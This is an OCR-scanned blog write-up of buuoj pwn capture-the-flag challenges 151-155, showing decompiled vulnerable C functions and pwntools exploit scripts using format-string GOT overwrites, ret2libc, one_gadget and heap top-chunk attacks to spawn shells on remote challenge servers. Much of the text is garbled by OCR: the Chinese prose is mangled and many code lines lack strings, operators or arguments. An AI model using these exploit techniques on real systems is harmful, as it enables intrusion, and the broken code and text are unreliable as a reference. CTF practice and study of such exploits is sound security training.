buuoj Pwn writeup 151-155

yongbaoii F 2021-05-28 11:08:20 K Afi 134 g

SrRLR: CTE WHERS: 24

R ] SO E R ISR, 5. CC 4.0 BY-SA AN, e i iy b i SCH AL B AN AR 1
A CEERZ:  https://blog.csdn.net/yongbaoii/article/details/117088506

FERAL

CTF LR GEHIZ N 28
213 W& 71T 14
VB E A

151 ciscn_2019_sw_1

(S
EERFIRERELRO— kT, IX A fini_arrayse AT A o5 ..

char format[68]; // [esp+8h] [ebp-48h] BYREF

setvbuf(stdin, @, 2, 9);

setvbuf(stdout, @, 2, @);

puts(“Welcome to my ctf! What's your name?");
__1s0c99_scanf("%64s", format);

printf(“"Hello ");

printf(format);
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exp

from pwn import

context.log_level

r remote( ,27979)
elf = ELF(

main_addr = elf.sym[

fini_addr 0x804979c
elf.got|
elf.plt]

(system_addr 16) oxffff
(system_addr) oxffff
(main_addr) oxffff

(sys_high)
(sys_low)

print (main_low)

(sys_high)
(sys_low - sys_high)
(main_low - sys_low)
p32(printf_got 2) p32(printf_got) p32(fini_addr)
r.sendlineafter( , payload)

r.sendlineafter(

r.interactive()
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Vs = ©;

printf("your username length: ");
__1s0c99_scanf("%d", &v5);

while ( v5 > 63 || !v5 )

puts("sorry,your username is too LOOOOOOOOONG~~\nplease input again.\n");
printf("your username length: ");
while ( getchar() != 10 )

__1s0c99_scanf("%d", &vs5);
¥
puts("whats your username?");
read_n(sl, v5);
if ( !strcmp(sl, "admin") )
{

v3 = time(®@);

crand(vay):
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int _ cdecl read_n(int al, int a2)

{
int i; // [esp+Ch] [ebp-Ch]

for ( 1 =0; 1 l= a2; ++1 )
{
if ( read(@, (void *)(al + i), 1u) != 1)
exit(-1);
if ( *(_BYTE *)(al + 1) == 10 )
{
*(_BYTE *)(al + 1) = @;
return 1i;
}
}

return 1i;

}
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from pwn import

context.log level

r remote( ,26497)

r.sendlineafter(

payload 65

r.sendlineafter( ,payload)

r.interactive()
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v8 = __readfsqword(@x28u);

sub_9BA(al, a2, a3);

sub_A55();

puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");

v6 = sub_B78();

for (1 =03 1 <= 2} ++1 )

{
puts(“biang!");
read(@, &v7[i], 1uLL);
getchar();
¥
if ( (unsigned int)sub_BC2(v7) )
{
for (3 =0, 7 <=2; ++] )
*(_BYTE *)(J + vé6) = v7[]];
¥
if ( !dlopen(®LL, 1) )

exit(1);
puts("bye~");
return OLL;
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from pwn import
context.log level

remote( ,28549)

(r.recvuntil( ,drop=True),16)
(puts_addr))

libc_base=puts_addr-libc.sym[

print (libc_base)
one=[0x4f2c5,0x41322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
one_gadget=one[2]+1ibc_base

target=1ibc_base+0x5f6038

shoot=one_gadget&Oxffffff
.sendlineafter( 5 (target))
.sendlineafter( ,p8(shoot&exff))
.sendlineafter( ,p8((shoot>>8)&0xff))
.sendlineafter( ,p8((shoot>>16)&0xff))

.sendline(

.interactive(
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read(@, s, @x20u);

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804COCC, &unk_804A070);// &%
std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_884C8CC, s);// s5ZF|bss
std::__ecxxll::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(vs, &unk_8@4CeE4);
std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(vo, &unk_8e4cCecc);
sub_8@48F8B((int)v6, (int)ve, (int)ve);

std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(vg);
if ( (unsigned int)sub_8849556(ve) > 1 )
{
std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_884CeCC, &unk_884A870);
ve = sub_8049576(ve, ©);
if ( (unsigned _ int8)sub_8@4958E(ve, (int)&unk_8e4ae7e) )
{

vl = sub_8048576(v6, ©);
std::_ _cxx1l::basic_string<char,std::char_traits<char>,std::allocator<chars>>::operator+=(&unk_884CBCC, vl);
¥
for (1 =1; ; ++i )
{
v2 = sub_8@48556(vE);
if (v2<=1)
break;
std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_8e4COCC, "pretty");
V3 = sub_8@49576(v6, 1);
std::__exx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>: :operator+=(&unk_804C0CC, v3);
}
¥

v4 = (const char *)std::__cxx1l::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_8e4CecC);
strepy (s, v4);

printf("Bye!%s", s);

from pwn import

remote(

ELF(
ELF(

elf.plt[
elf.got|[

16 + p32(puts_plt) p32(main) p32(puts_got)

16)

puts_add=u32(r.recv(4))
libc_base puts_addr libc.sym[

one_gadget libc_base

16 + p32(one_gadget)

r.interactive()
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from pwn import

remote( ,27139)

elf.plt[
elf.got|

heap_array_addr 0x0804B120
r.sendafter(

r.recvuntil( 0x40)
heap_addr u32(r.recv(4))

r.sendafter( 0x40)

r.sendlineafter( »P32(OXFFFFFFFF))
top_chunk_addr heap_addr oxDo

def add(size,content):
r.sendlineafter(
r.sendlineafter(
r.sendafter( ,content)

def edit(index,content):

r.sendlineafter(

r.sendlineafter( (index))

r.sendafter( ,content)
def delete(index):

r.sendlineafter(

r.sendlineafter( (index))
offset heap_array_addr - top_chunk_addr - 0x10
add(offset,'")

add (0x18, )

p32(free_got) p32(puts_got) p32(0x0804B130)

puts_addr u32(r.recv(4))

libc_base puts_addr libc.sym[
system_addr libc_base libc.sym[

edit(1,p32(system_addr)

delete(3)

r.interactive()
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